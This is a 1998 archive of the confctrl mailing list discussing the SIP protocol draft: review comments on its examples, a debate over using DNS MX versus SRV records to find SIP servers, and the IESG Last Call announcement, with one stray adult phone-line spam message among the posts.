doing a single A DNS lookup won't work.

Section 11.2 more precisely says that a UAS MUST add the tag whenever
the fqdn is different from it's own fqdn. This can still fail for
shared machines (coming into fashion again - maybe) where the same
user can be logged in more than once.

[6.40.3] Via

If the request was sent using a TCP connection which was closed before
the response was received, it is not necessarily possible to connect
to the address indicated by the 'sent-by' Via parameter as prescribed
by step 4. This is the case when the client did an active open as the
Via field would contain some random port number.  Maybe a solution
would be to require UACs using TCP to include a Contact header with
the address of the TCP SIP server, and then change the rules for
response processing to accommodate this situation.


[9] "Thus, the header in section 15.2 could also be written:..."
Well, yes, but it would be a different header. You have changed not
only the field names but also the values.

More importantly, what does the following statement mean

   "These short forms are NOT abbreviations, they
   are field names. No other header field abbreviations are allowed."

This is self-contradicting. First they are NOT abbreviations and then
no OTHER abbreviations are allowed.

Anyway, how are they NOT abbreviations. There is no separate
definition for the "f" header field, for example. It's just a short
form for "From". That's usually known as an abbreviation.  If you just
mean that proxies are not allowed to substitute one for the other
(which is stated below) it should just say that.


[11.3]
   "The UAC also notes the value of the To and From
   header fields in each response. For each call leg, the To header
   field becomes the remote address, and the From header field becomes
   the local address."

Won't the From in the response always be that of the INVITE as sent by
the UAC? Is the UAS allowed to change it in it's response?


[15.2.1]
  "... from the host 131.215.131.131." I guess this should read
"csvax.cs.caltech.edu", which, in fact a DNS lookup reveals that it is
currently mapped to, but the correctness of the spec should obviously
not depend on this.

Also, two sentences later the IP addr 128.16.64.19 is mentioned which
also is nowhere in the example.

In this and many other examples throughout the spec the host part of
the Call-Id is different from the host part of the first Via header. I
realize that the client is free to choose whatever fqdn it likes but
wouldn't Call-Id's usually be constructed using the domain name of the
local host?


[15.2.2]
Last message (C->S: ACK...): why is this sent to the multicast address
(maddr=...). Shouldn't it be point-to-point to jove.cs.caltech.edu ?


[15.3] "Since the two sides have agreed on the set of media, Watson
confirms the call without enclosing another session description:"

That would be Bell confirming the call, not Watson.


[15.3] In the first message (C->S: INVITE): how can the three IP
dotted-decimal addresses all be different?  I would have thought that
for a two-party call the IP addr in the SDP origin field would equal
the address given in the SDP connection field, which would also be the
address of the first Via SIP header. Of course the caller can be
multihomed, but the example seems slightly far-fetched or at least
atypical (?)


[15.5]
"Watson's user agent sends the invitation..."
Nope. It's good ol' Bell again.


[15.5]
  P->H: INVITE
  H->P: 404 Not Found
  P->H: ACK this gives a tag param in the To field - this should be the
same as that given by H in the response.


[15.5]
  C->X: ACK sip:watson@x.bell-tel.com SIP/2.0
should be
  C->X: ACK sip:t.watson@x.bell-tel.com SIP/2.0
as this is the addr given in the Contact field of the X->P: 200 OK
response. (yes, I read this pretty carefully :-))


[15.8]
  "the original request specified 256 kb/s total"
  "The original request specified GSM audio, H.261 video, and WB
   whiteboard"
  "The response also states that multicast is not available"

Where does this wealth of information come from exactly?


[Appendix C]
  Why has the HTTP 'tspecials' character class been renamed
'separators'? It's not that that's a particularly brilliant name - it
just seems silly changing it without a good reason.


[Appendix C]
  The BNF for 'comment' includes (unlike the HTTP def) a quoted-pair
thingy. This doesn't seem to be defined anywhere.

From confctrl-owner  Fri Sep 25 19:30:37 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA03960
	for confctrl-outgoing; Fri, 25 Sep 1998 19:30:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA03955
	for <confctrl@zephyr.isi.edu>; Fri, 25 Sep 1998 19:30:36 -0700 (PDT)
Received: from spot.cs.utk.edu (SPOT.CS.UTK.EDU [128.169.92.189])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA13913
	for <confctrl@ISI.EDU>; Fri, 25 Sep 1998 19:30:35 -0700 (PDT)
Received: from spot.cs.utk.edu by spot.cs.utk.edu with ESMTP (cf v2.11c-UTK)
          id WAA28316; Fri, 25 Sep 1998 22:27:51 -0400 (EDT)
Message-Id: <199809260227.WAA28316@spot.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: "Henry Sinnreich" <henry.sinnreich@mci.com>
cc: "Keith Moore" <moore@cs.utk.edu>, confctrl@ISI.EDU, moore@cs.utk.edu
Subject: Re: use of MX by SIP 
In-reply-to: Your message of "Fri, 25 Sep 1998 16:56:49 CDT."
             <000b01bde8cf$659cefa0$f0e323a6@sinnreich2.mcit.com> 
Date: Fri, 25 Sep 1998 22:27:50 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> There are many Internet services used by the same people at the same time,
> mail and phone probably foremost on the list. Consolidating the records can
> be considered a nice service integration feature in the operational domain.
> In this light, using the MX records looks like good idea.

I'm not convinced.

Just because people want to use the same names in different services,
it doesn't follow that the locations of the services corresponding to
a name should be the same.  In fact, there are compelling reasons for 
allowing the services to be in different locations, and for using simple 
and easily understood algorithm to do the mapping.

Keith

From confctrl-owner  Fri Sep 25 20:58:42 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA06885
	for confctrl-outgoing; Fri, 25 Sep 1998 20:58:42 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA06880
	for <confctrl@zephyr.isi.edu>; Fri, 25 Sep 1998 20:58:39 -0700 (PDT)
Received: from spot.cs.utk.edu (SPOT.CS.UTK.EDU [128.169.92.189])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA17387;
	Fri, 25 Sep 1998 20:58:36 -0700 (PDT)
Received: from spot.cs.utk.edu by spot.cs.utk.edu with ESMTP (cf v2.11c-UTK)
          id XAA28649; Fri, 25 Sep 1998 23:58:28 -0400 (EDT)
Message-Id: <199809260358.XAA28649@spot.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Henning Schulzrinne <hgs@cs.columbia.edu>
cc: Keith Moore <moore@cs.utk.edu>, confctrl@ISI.EDU,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Mark Handley <mjh@ISI.EDU>, Eve Schooler <schooler@cs.caltech.edu>,
        moore@cs.utk.edu
Subject: Re: use of MX by SIP 
In-reply-to: Your message of "Fri, 25 Sep 1998 17:36:27 EDT."
             <360C0CDB.56FF88DD@cs.columbia.edu> 
Date: Fri, 25 Sep 1998 23:58:28 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Keith Moore wrote:
> > 
> > Someone pointed out to me that the current SIP draft specifies use of
> > DNS MX records to determine the location of SIP servers.
> > 
> > I think this is a Bad Idea, for the following reasons:
> > 
> > 1. It is NOT reasonable to assume that SIP queries should go to the
> > same hosts as incoming mail.  There is an increasing tendency to
> > centralize/consolidate mail services and redirect incoming mail
> > for several different domains to one or more central mail servers,
> > or even to an external service provider.  It's not reasonable to
> > assume that SIP services for a domain are maintained by the same
> > administrators as maintain email for that domain.
> 
> But it may well turn out to be quite common, since the idea is that my
> published email and "phone" address are one and the same in many cases.

Indeed the "addresses" (actually they're "names") may often be the
same, and this is a Good Thing.  That's not the same thing as
expecting the phone service (or even the SIP service) to be handled by
the mail host.

Using the email and phone example, I might well want email for
moore@cs.utk.edu to go to the email server for the CS department, but
I might want phone calls for moore@cs.utk.edu to go to a gateway that
does a directory lookup and routes the incoming call to my desktop
POTS phone via the UTK campus phone switch.  The same name is used in
either case, but it maps to dissimilar services, ultimately handled by
very different kinds of hardware, in different administrative domains.


> Also, in many cases, SIP and email service will both the only service
> outside the firewall. They will often share databases, such as
> vacation/"has moved" forwarding information or name mapping (John.Doe to
> jd48). 

Not clear, as given in the example above.

> Since both services rely heavily on managing people information,
> it doesn't seem completely unlikely that in all but the largest domains,
> postmaster and "sipmaster" will be the same person, just like the
> secretary who answers the phone also sorts the mail :-) 

Not completely unlikely, and it should certainly be possible to do
things that way.  What we're arguing about is whether MX should be
assumed as a *default* (in effect, subtly changing the meaning of MX).

> I agree that in the longer term, *only* SRV records should be used (or A
> records).

I don't agree with this either, unless you're referring only to the
use of MX records by SIP.  Mail should continue to use MX records.  To
change the behavior of mail would introduce operational instability
for no good reason.

> I'm not sure I follow this completely. There are two scenarios:
> 
> - None of the mail servers host a SIP server (and there is no SRV
> record).
> 
> In that case, the only drawback is that the SIP client will end up
> trying to connect to the SIP port and get an ECONNREFUSED. Except for an
> additional SYN packet, the mail server won't be affected. If this
> becomes an issue for a particular domain, the fix is easy: set up an SRV
> record. 

Yes, but the admin for that mail server somehow has to realize that
he/she needs to do this.  It fails the principle of least surprise.

> It is tried first, so that the mail servers will never see an
> errant SIP query again. If this encourages the deployment of SRV records
> in large domains, this can't be altogether bad :-)

On the contrary, there's no reason that the admin should have to
install a SRV record for SIP unless he's/she's actually supporting
SIP.

> - One or more of mail servers also hosts a SIP server, but the mail
> admin moves the mail server to a non-overlapping set of servers and
> doesn't tell the SIP admin.

As I've illustrated above, there are good reasons to insist that a
mail admin should NOT have to coordinate with the SIP admin at all on
this.  Having SIP using MX introduces unnecessary administrative
hassles in the long-term, for dubuious short-term benefits.  I don't
think that makes a good engineering tradeoff, especially for something
that might be as widespread as internet telephony

Continuing my example above of the mail/phone split: For the UTK CS
mail server admins to coordinate with the UTK campus phone people
(*and* the UTK.EDU DNS people) on the arrangement of servers, takes
something similar to an act of Congress.  I don't think it is at all
unusual for an organization's phone people to be distant from it's
computer networking people.

> The only consequence is again that SIP service fails; mail service is
> completely unaffected. The SIP admin will learn quickly not to rely on
> the mail admin and learn about SRV records.

What ensures that the SIP admin will notice the problems and properly
diagnose them?  As the need for sysadmins increases, and the demand
for talented people in more interesting jobs increases, the average
level of sysadmin expertise is decreasing.  We need to be making new
systems simpler to administer than those that already exist.  Most of
the new sysadmins I meet these days are not very adept at diagnosing
cross-system failures.

Also, in analyzing bounced mail messages from my mailing lists, I have
found that that approximately 40% of it is due to mail system or DNS
mis-configuration (e.g. SMTP server doesn't know it's an MX for domain
foo, or inconsistent DNS zones with the same serial #), and 10% due to
resource limitations (out of memory, or disk space) which often go
undetected by the mail system administrator for several days or weeks,
and occasionally months.

> Thus, it is completely up to the organization to decide where to place
> servers. Absence of SIP servers at an MX record does not in any
> significant way impact the operation of mail servers.

The problems occur when the people who run the MX servers and the
people who run the SIP servers change things without consulting one
another.  And in general it's a good idea to minimize confusion and
the liklihood of configuration errors whenever possible.

> The use of MX records offers a transition period until SRV records are
> more widely deployed (particularly in terms of access software). If we
> do not allow that, then we are basically back to host-specific addresses
> for SIP, which defeats a major purpose of the protocol. 

No, I don't think so.  When I looked at a similar question with regard
to NAPTR deployment, if I recall correctly, most DNS servers could
cache unknown record types and forward queries of unknown types.  So
only the zones that wanted to provide NAPTR records had to upgrade
their DNS servers.  In the worst case when the query through the
resolver failed, the client could still explicitly ask for NS records
for the zone, and consult one of those servers directly, to do the
query for NAPTR records.  We wrote client code to do this, and it
seemed to work.  Why wouldn't the same technique work with SIP?

Keith

From confctrl-owner  Sat Sep 26 16:27:04 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA12484
	for confctrl-outgoing; Sat, 26 Sep 1998 16:27:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA12473
	for <confctrl@zephyr.isi.edu>; Sat, 26 Sep 1998 16:27:02 -0700 (PDT)
Received: from jupiter.jup.com (jupiter.jup.com [204.245.74.129])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA25262;
	Sat, 26 Sep 1998 16:27:00 -0700 (PDT)
Date: Sat, 26 Sep 1998 16:27:00 -0700 (PDT)
From: Phone-Sex-Now@mci.com
Message-Id: <199809262327.QAA25262@tnt.isi.edu>
Received: from fjs8k ([38.14.57.247]) by jupiter.jup.com
          (Netscape Mail Server v2.02) with SMTP id AAG23939;
          Fri, 25 Sep 1998 21:08:31 -0400
To: every@aol.com
Subject: Hot Wet Teens Talk Dirty To You
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Do you like phone sex?  Of course, don't we all? Well, do I have a great service for you, where a live girl is always waiting to fulfill your every sexual desire.  You pay no outrageous premium charges. All you pay is the regular international long distance charge..as low as 48 cents per minute.  So, why not call now? All my girls are hot and waiting to get you off. Just dial <b><i> 1-664-410-4979.</b></i> Stop sitting in online chat rooms waiting for someone to talk dirty to you and call us now. Again..the number is <b> 1-664-410-4979.</b> If busy try <b> 1-664-410-3549 or 1-784-490-3388 </b>

Gay? Bi? Curious?...try this number..1-664-410-1208

You must 18 or older to use this service.

From confctrl-owner  Sat Sep 26 18:54:23 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA17002
	for confctrl-outgoing; Sat, 26 Sep 1998 18:54:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA16997
	for <confctrl@zephyr.isi.edu>; Sat, 26 Sep 1998 18:54:21 -0700 (PDT)
Received: from pm03sm.pmm.mci.net (pm03sm.pmm.mci.net [208.159.126.152])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA29572;
	Sat, 26 Sep 1998 18:54:18 -0700 (PDT)
Received: from cs.columbia.edu (usr47-dialup20.mix2.Boston.cw.net)
 by PM03SM.PMM.MCI.NET (PMDF V5.1-10 #27035)
 with ESMTP id <0EZX00HHV6LI32@PM03SM.PMM.MCI.NET>; Sun,
 27 Sep 1998 01:53:46 +0000 (GMT)
Date: Sat, 26 Sep 1998 21:53:26 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Subject: Re: use of MX by SIP
To: Keith Moore <moore@cs.utk.edu>
Cc: confctrl@ISI.EDU, Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Mark Handley <mjh@ISI.EDU>, Eve Schooler <schooler@cs.caltech.edu>
Reply-to: hgs@cs.columbia.edu
Message-id: <360D9A96.6B572AE@cs.columbia.edu>
Organization: Columbia University (home)
MIME-version: 1.0
X-Mailer: Mozilla 4.5b1 [en] (Win98; I)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
X-Accept-Language: en-US,de
References: <199809260358.XAA28649@spot.cs.utk.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Keith Moore wrote:
> 
> > Keith Moore wrote:
> > >

> Indeed the "addresses" (actually they're "names") may often be the
> same, and this is a Good Thing.  That's not the same thing as
> expecting the phone service (or even the SIP service) to be handled by
> the mail host.

Just to review for the general audience what currently is supposed to
happen, in a nutshell, when resolving user@example.com:

(1) SIP client attempts to access SRV record for example.com

(2) If and *only* if there is none, it tries to see if example.com has
an MX record and checks if any SIP server is at whatever the MX record
points to.

(3) If that should fail, it uses A records.

Thus, this mechanism allows, but does not in any way require the SIP
service to be handled by the mail service. This choice is made by each
organization, depending on local needs.

> 
> Using the email and phone example, I might well want email for
> moore@cs.utk.edu to go to the email server for the CS department, but
> I might want phone calls for moore@cs.utk.edu to go to a gateway that
> does a directory lookup and routes the incoming call to my desktop
> POTS phone via the UTK campus phone switch.  The same name is used in
> either case, but it maps to dissimilar services, ultimately handled by
> very different kinds of hardware, in different administrative domains.

Nothing in the current arrangement prevents this solution.

> 
> > Also, in many cases, SIP and email service will both the only service
> > outside the firewall. They will often share databases, such as
> > vacation/"has moved" forwarding information or name mapping (John.Doe to
> > jd48).
> 
> Not clear, as given in the example above.

It's obviously hard to predict the exact uses of a protocol which isn't
exactly widely deployed. By the time we reach draft standard, we
hopefully have a much better idea.

> > I agree that in the longer term, *only* SRV records should be used (or A
> > records).
> 
> I don't agree with this either, unless you're referring only to the
> use of MX records by SIP.  Mail should continue to use MX records.  To
> change the behavior of mail would introduce operational instability
> for no good reason.

Since only SIP is up for discussion here, that's what I meant.

> 
> > I'm not sure I follow this completely. There are two scenarios:
> >
> > - None of the mail servers host a SIP server (and there is no SRV
> > record).
> >
> > In that case, the only drawback is that the SIP client will end up
> > trying to connect to the SIP port and get an ECONNREFUSED. Except for an
> > additional SYN packet, the mail server won't be affected. If this
> > becomes an issue for a particular domain, the fix is easy: set up an SRV
> > record.
> 
> Yes, but the admin for that mail server somehow has to realize that
> he/she needs to do this.  It fails the principle of least surprise.

The mail server doesn't have to do anything. It won't notice what's
happening. If we were to take out MX records, the functionality would be
exactly the same.

> 
> > It is tried first, so that the mail servers will never see an
> > errant SIP query again. If this encourages the deployment of SRV records
> > in large domains, this can't be altogether bad :-)
> 
> On the contrary, there's no reason that the admin should have to
> install a SRV record for SIP unless he's/she's actually supporting
> SIP.

Exactly. SRV records are only useful if you support SIP. If you just
provide email service, you do nothing.


> 
> Continuing my example above of the mail/phone split: For the UTK CS
> mail server admins to coordinate with the UTK campus phone people
> (*and* the UTK.EDU DNS people) on the arrangement of servers, takes
> something similar to an act of Congress.  I don't think it is at all
> unusual for an organization's phone people to be distant from it's
> computer networking people.

As I've tried to say in a few different ways, if you don't want to
coordinate, don't. In your case, just install an SRV record for the SIP
server and don't even mention it to the mail folks. They'll never get
bothered by your internet telephony services. By taking the MX option
away, you are taking the *possibility* of doing coordination away. You
will have to install SRV records unless you want to have just an A
record (something like the old user@emailhost.domain.com.)


> 
> > Thus, it is completely up to the organization to decide where to place
> > servers. Absence of SIP servers at an MX record does not in any
> > significant way impact the operation of mail servers.
> 
> The problems occur when the people who run the MX servers and the
> people who run the SIP servers change things without consulting one
> another.  And in general it's a good idea to minimize confusion and
> the liklihood of configuration errors whenever possible.

Once again, if your organization is large enough to have this problem,
by all means, separate the functionality. Just don't take the
possibility of coordinated servers away from everybody.


> > The use of MX records offers a transition period until SRV records are
> > more widely deployed (particularly in terms of access software). If we
> > do not allow that, then we are basically back to host-specific addresses
> > for SIP, which defeats a major purpose of the protocol.
> 
> No, I don't think so.  When I looked at a similar question with regard
> to NAPTR deployment, if I recall correctly, most DNS servers could
> cache unknown record types and forward queries of unknown types.  So
> only the zones that wanted to provide NAPTR records had to upgrade
> their DNS servers.  In the worst case when the query through the
> resolver failed, the client could still explicitly ask for NS records
> for the zone, and consult one of those servers directly, to do the
> query for NAPTR records.  We wrote client code to do this, and it
> seemed to work.  Why wouldn't the same technique work with SIP?

The client side is reasonably easy, although I had to rewrite resparse
to handle SRV records.  The MX solution allows to install SIP servers in
some/many circumstances without having to change your DNS records. Once
SRV records are widespread on DNS servers, clients will automatically
cease to look at MX, with no harm except an additional few lines of
client code. Clients are  mandated to support SRV (if the IESG lets us
get away with it because of the current status of SRV records, as
mentioned earlier), but changing DNS servers to support SRV is often
even more difficult than coordinating email service, particularly if you
get your DNS service from a third party such as your ISP. This seems to
be quite common for many smaller domains. 

In summary, the use of MX records in no way constrains the operation of
your domain as nothing forces you to offer SIP service on your MX host. 
It just gives you another option when changing your DNS service/software
is harder than adding a SIP server to the email server under your
control.
 





> 
> Keith

From confctrl-owner  Sat Sep 26 20:47:47 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA20366
	for confctrl-outgoing; Sat, 26 Sep 1998 20:47:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA20361
	for <confctrl@zephyr.isi.edu>; Sat, 26 Sep 1998 20:47:45 -0700 (PDT)
Received: from spot.cs.utk.edu (SPOT.CS.UTK.EDU [128.169.92.189])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA02468;
	Sat, 26 Sep 1998 20:47:42 -0700 (PDT)
Received: from spot.cs.utk.edu by spot.cs.utk.edu with ESMTP (cf v2.11c-UTK)
          id XAA06025; Sat, 26 Sep 1998 23:47:29 -0400 (EDT)
Message-Id: <199809270347.XAA06025@spot.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: hgs@cs.columbia.edu
cc: Keith Moore <moore@cs.utk.edu>, confctrl@ISI.EDU,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Mark Handley <mjh@ISI.EDU>, Eve Schooler <schooler@cs.caltech.edu>,
        moore@cs.utk.edu
Subject: Re: use of MX by SIP 
In-reply-to: Your message of "Sat, 26 Sep 1998 21:53:26 EDT."
             <360D9A96.6B572AE@cs.columbia.edu> 
Date: Sat, 26 Sep 1998 23:47:29 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Keith Moore wrote:
> > 
> > > Keith Moore wrote:
> > > >
> 
> > Indeed the "addresses" (actually they're "names") may often be the
> > same, and this is a Good Thing.  That's not the same thing as
> > expecting the phone service (or even the SIP service) to be handled by
> > the mail host.
> 
> Just to review for the general audience what currently is supposed to
> happen, in a nutshell, when resolving user@example.com:
> 
> (1) SIP client attempts to access SRV record for example.com
> 
> (2) If and *only* if there is none, it tries to see if example.com has
> an MX record and checks if any SIP server is at whatever the MX record
> points to.
> 
> (3) If that should fail, it uses A records.
> 
> Thus, this mechanism allows, but does not in any way require the SIP
> service to be handled by the mail service. This choice is made by each
> organization, depending on local needs.

That's clearly not the case when the SIP admin relies on the MX
record being there.

If on day one the MX record happens to point to the SIP server
host, and the SIP admin relies on the MX record being there, then
when the mail admin changes the MX record to point to some other
host, the SIP users lose.

> > Using the email and phone example, I might well want email for
> > moore@cs.utk.edu to go to the email server for the CS department, but
> > I might want phone calls for moore@cs.utk.edu to go to a gateway that
> > does a directory lookup and routes the incoming call to my desktop
> > POTS phone via the UTK campus phone switch.  The same name is used in
> > either case, but it maps to dissimilar services, ultimately handled by
> > very different kinds of hardware, in different administrative domains.
> 
> Nothing in the current arrangement prevents this solution.

No, but the current arrangement is needlessly complex and difficult
to understand, and leads to subtle and surprising behavior.  

> > Continuing my example above of the mail/phone split: For the UTK CS
> > mail server admins to coordinate with the UTK campus phone people
> > (*and* the UTK.EDU DNS people) on the arrangement of servers, takes
> > something similar to an act of Congress.  I don't think it is at all
> > unusual for an organization's phone people to be distant from it's
> > computer networking people.
> 
> As I've tried to say in a few different ways, if you don't want to
> coordinate, don't. In your case, just install an SRV record for the SIP
> server and don't even mention it to the mail folks. 

Why not make the rule even simpler:

"if you want your SIP server to work, install an SRV record".

It's simple, easy to understand, and makes it easy to analyze failures.

Why tempt people to rely on the MX records when they're very 
well-established as being specific to mail?

> They'll never get
> bothered by your internet telephony services. By taking the MX option
> away, you are taking the *possibility* of doing coordination away. 

nonsense.  IF you want to do coordination, install both MX and SRV
records and make them point to the same place.  

You have complete flexibility with either scheme about whether
your coordinate servers or not, but in the case where SIP clients 
use MX you introduce a greater potential for misconfiguration.

> > > Thus, it is completely up to the organization to decide where to place
> > > servers. Absence of SIP servers at an MX record does not in any
> > > significant way impact the operation of mail servers.
> > 
> > The problems occur when the people who run the MX servers and the
> > people who run the SIP servers change things without consulting one
> > another.  And in general it's a good idea to minimize confusion and
> > the liklihood of configuration errors whenever possible.
> 
> Once again, if your organization is large enough to have this problem,
> by all means, separate the functionality. Just don't take the
> possibility of coordinated servers away from everybody.

again, that's nonsense.

I'm not suggesting anything of the sort - just that it's completely
inappropriate to overload the meaning of a well defined DNS RR for 
new purposes, and that it will cause harm to do so.


> > > The use of MX records offers a transition period until SRV records are
> > > more widely deployed (particularly in terms of access software). If we
> > > do not allow that, then we are basically back to host-specific addresses
> > > for SIP, which defeats a major purpose of the protocol.
> > 
> > No, I don't think so.  When I looked at a similar question with regard
> > to NAPTR deployment, if I recall correctly, most DNS servers could
> > cache unknown record types and forward queries of unknown types.  So
> > only the zones that wanted to provide NAPTR records had to upgrade
> > their DNS servers.  In the worst case when the query through the
> > resolver failed, the client could still explicitly ask for NS records
> > for the zone, and consult one of those servers directly, to do the
> > query for NAPTR records.  We wrote client code to do this, and it
> > seemed to work.  Why wouldn't the same technique work with SIP?
> 
> The client side is reasonably easy, although I had to rewrite resparse
> to handle SRV records.  The MX solution allows to install SIP servers in
> some/many circumstances without having to change your DNS records. 

"not having to change your DNS records" doesn't sound very compelling.

(though I suspect you meant "without having to change your DNS servers."
even then, my understanding is that named with SIP support has been
around for a while now...and as long as you're installing a SIP server,
how great a hardship is it to also upgrade your DNS server anyway?)

> Once
> SRV records are widespread on DNS servers, clients will automatically
> cease to look at MX, with no harm except an additional few lines of
> client code. 

not so.  the client code will be there to bite people for a long time,
for the odd case where the SRV record disappears.  it's not inconceivable
that the MX host also supports a SIP server for a different domain, so
using MX might even cause SIP queries to go to the *wrong* server.

> Clients are  mandated to support SRV (if the IESG lets us
> get away with it because of the current status of SRV records, as
> mentioned earlier), 

the opinion of several IESG folks is that SRV can go to proposed (perhaps 
with minor tweaks) as soon as anything that needs to refers to it  
goes to proposed.  but maybe we should go ahead and advance SRV to put
DNS implementors/admins on notice that standard protocols will be using it.

> but changing DNS servers to support SRV is often
> even more difficult than coordinating email service, particularly if you
> get your DNS service from a third party such as your ISP. This seems to
> be quite common for many smaller domains. 

in that case it's more difficult for the first customer who wants to
use SRV, but less difficult for customers 2..N (as compared to customers
who run their own DNS servers, where each one has to upgrade)
 
> In summary, the use of MX records in no way constrains the operation of
> your domain as nothing forces you to offer SIP service on your MX host. 
> It just gives you another option when changing your DNS service/software
> is harder than adding a SIP server to the email server under your
> control.

Adding more options isn't necessarily a good thing.

Keith

From confctrl-owner  Mon Sep 28 04:50:59 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA17882
	for confctrl-outgoing; Mon, 28 Sep 1998 04:50:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA17877
	for <confctrl@zephyr.isi.edu>; Mon, 28 Sep 1998 04:50:57 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA03121
	for <confctrl@isi.edu>; Mon, 28 Sep 1998 04:50:56 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id HAA24510;
	Mon, 28 Sep 1998 07:50:22 -0400 (EDT)
Message-Id: <199809281150.HAA24510@ietf.org>
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: The IESG <iesg-secretary@ietf.org>
SUBJECT: Last Call: SIP: Session Initiation Protocol to Proposed Standard
Reply-to: iesg@ietf.org
Date: Mon, 28 Sep 1998 07:50:22 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


The IESG has received a request from the Multiparty Multimedia Session
Control Working Group to consider SIP: Session Initiation Protocol
<draft-ietf-mmusic-sip-09.txt> as a Proposed Standard.

The IESG plans to make a decision in the next few weeks, and solicits
final comments on this action.  Please send any comments to the
iesg@ietf.org or ietf@ietf.org mailing lists by October 12, 1998.

Files can be obtained via
ftp://ftp.ietf.org/internet-drafts/draft-ietf-mmusic-sip-09.txt

From confctrl-owner  Mon Sep 28 09:06:26 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA28412
	for confctrl-outgoing; Mon, 28 Sep 1998 09:06:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA28407
	for <confctrl@zephyr.isi.edu>; Mon, 28 Sep 1998 09:06:25 -0700 (PDT)
Received: from lint.cisco.com (lint.cisco.com [171.68.224.209])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA16203
	for <confctrl@isi.edu>; Mon, 28 Sep 1998 09:06:23 -0700 (PDT)
Received: from cisco.com (elear-isdn.cisco.com [171.70.252.70]) by lint.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id JAA05821; Mon, 28 Sep 1998 09:05:21 -0700 (PDT)
Message-ID: <360FB3BE.D4D67B9@cisco.com>
Date: Mon, 28 Sep 1998 09:05:18 -0700
From: Eliot Lear <elear@cisco.com>
Organization: Cisco Systems, Inc.
X-Mailer: Mozilla 4.06 [en] (Win95; U)
MIME-Version: 1.0
To: iesg@ietf.org
CC: confctrl@ISI.EDU, vixie@vix.com
Subject: Re: Last Call: SIP: Session Initiation Protocol to Proposed Standard
References: <199809281150.HAA24510@ietf.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I've previously raised this objection with the Author.

I draw your attention to section 1.4.2 of draft-ietf-mmusic-sip-09.txt.

SIP makes use of MX records.  SIP has nothing more to do with the EMail
infrastructure than any other application protocol.  If we need another
record we should use another record.  Overloading MX records may lead to
unforeseen oddities with random packets flowing to places not expecting
them, or even blocking them, causing long delays in call setup.

SIP (properly IMHO) refers to SRV records, except that I am now given to
understand that the existing RFC on SRV needs minor fixing that will
impact SIP.  I personally woulr rather not speak to the SRV problems. 
Perhaps Paul Vixie or Jerry Sharf might wish to elaborate (something
about underscores?).

It would be good if SRV could get fixed quick and advanced and SIP
merely delete references to MX.  In the short term, perhaps use a web
like solution, such as sip.{domain} and A records.  If MX records are to
be used in the short term, the document should at the very least
indicate their impending obsolescence for this purpose.
-- 
Eliot Lear
elear@cisco.com

From confctrl-owner  Mon Sep 28 11:02:00 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
